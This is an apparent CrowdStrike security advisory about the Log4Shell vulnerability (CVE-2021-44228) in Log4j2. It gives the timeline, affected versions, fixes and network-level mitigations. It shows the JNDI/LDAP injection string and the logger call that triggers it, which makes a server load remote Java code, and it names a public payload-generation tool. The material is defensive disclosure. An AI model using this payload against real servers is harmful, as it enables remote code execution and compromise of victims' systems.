Log4j2 Vulnerability “Log4Shell”

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers. + Between late November and early December 2021, a critical vulnerability (CVE-2021-44228) impacting the Log4j2 utility was reported, resulting in several fixes and code revisions from the vendor. + The Log4j2 library is used in numerous Apache frameworks services, and as of Dec. 9, 2021, active exploitation has been identified in the wild (ITW). At the time of this writing, CrowdStrike Falcon OverWatch and external sources confirm active and ongoing attempts to exploit CVE-2021-44228. + This vulnerability is being widely exploited in the wild and it is highly advisable to assess the use and impact of log4j and patch as soon as possible. + Information surrounding the vulnerability, impacted products and in-the-wild exploitation is continuing to evolve, and CrowdStrike will update this blog as new information becomes available.

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers.1 According to public sources, Chen Zhaojun of Alibaba officially reported a Log4j2 remote code execution (RCE) vulnerability to Apache on Nov. 24, 2021.2,3 This critical vulnerability, subsequently tracked as CVE-2021-44228 (aka “Log4Shell”), impacts all versions of Log4j2 from 2.0-beta9 to 2.14.1.

Attempts to mitigate CVE-2021-44228 resulted in at least two fixes in release candidates of Log4j2 since November 2021. The first of these, on Nov. 29, 2021, included a partial fix by disabling message lookups for logging mechanism API functions.4 The second, released on Dec. 5, 2021, restricted the accesses and protocols that Log4j2 permits via Lightweight Directory Access Protocol (LDAP) and the Java Naming and Directory Interface (JNDI).5 However, industry sources suggest these fixes were incomplete, as the initial release candidate (Log4j2 2.15.0-rc1) addressing CVE-2021-44228 could be bypassed to achieve RCE. As of Dec. 10, 2021, version Log4j2 2.15.0-rc2 is recommended for use; however, guidance around this could change as more information is uncovered.

CrowdStrike Intelligence assesses that numerous adversaries have been conducting active, widespread exploitation of CVE-2021-44228 since Dec. 9, 2021. This assessment is made with high confidence based on the trivial nature of the exploit as well as internal and external data sources that indicate a massive increase in traffic, demonstrating scanning/exploitation attempts targeting the JNDI and LDAP services (e.g., jndi:ldap://[host]:[port]/[path]).6

Log4j2 is a ubiquitous package contained in numerous Apache frameworks (including Struts2, Solr, Druid and Flink) that are, in turn, leveraged by an indeterminate number of third parties.7 Depending on respective implementation, server configuration, network architecture, and other factors, the reliability of CVE-2021-44228 exploits may be impacted.

The vulnerability leverages JNDI,8 which provides an abstract interface for different name resolution and directory services, such as DNS or LDAP.9 Log4j2 insufficiently sanitizes user-supplied data, potentially allowing an attacker to provide a string that is interpreted as a variable that, when expanded, results in the loading and invocation of a remote Java class file. Whether a particular service is exploitable depends on its specific usage of Log4j2.

The following example — where logger is an instantiated Log4j2 logger — demonstrates the method by which this condition can be triggered by logging specially crafted, attacker-supplied data as an error message.

UserData = "${jndi:ldap://[host]/[path]}";
logger.error(UserData);

To compromise the target, the JNDI/LDAP URL serves a malicious Java class object that will be deserialized and invoked on the victim host. This action is possible because JNDI does not enforce any security controls on LDAP requests. Also, LDAP, contrary to other JNDI protocols, supports the loading of classes from remote resources. Tools for generating suitable exploit payloads, such as marshalsec, are publicly available.10

Both of the most popular Java implementations, Oracle JDK and OpenJDK, have shipped with a default setting that should prevent exploitation since 2019; the variable com.sun.jndi.rmi.object.trustURLCodebase is set to false by default, disallowing access to remote resources. This setting can be checked to determine if a system has been vulnerable, and set to false as a workaround to prevent attacks, for instance by logging or printing the return value of:

System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")

Further Mitigation

A new version of Log4j 2 published on Dec. 6, 2021, introduces the following new security controls for JNDI session security controls to restrict access to remote resources:

• allowedJndiProtocols restricts JNDI protocols to those listed; default: none
• allowedLdapHosts restricts LDAP requests to listed hosts; default: none
• allowedLdapClasses lists names of allowed remote Java classes; default: none

To prevent attacks on a network level, and the vulnerable Java service from downloading a malicious class file via LDAP, outbound connections from affected servers can be limited to trusted hosts and protocols to prevent the vulnerable Java service from downloading a malicious class file via LDAP.

More here.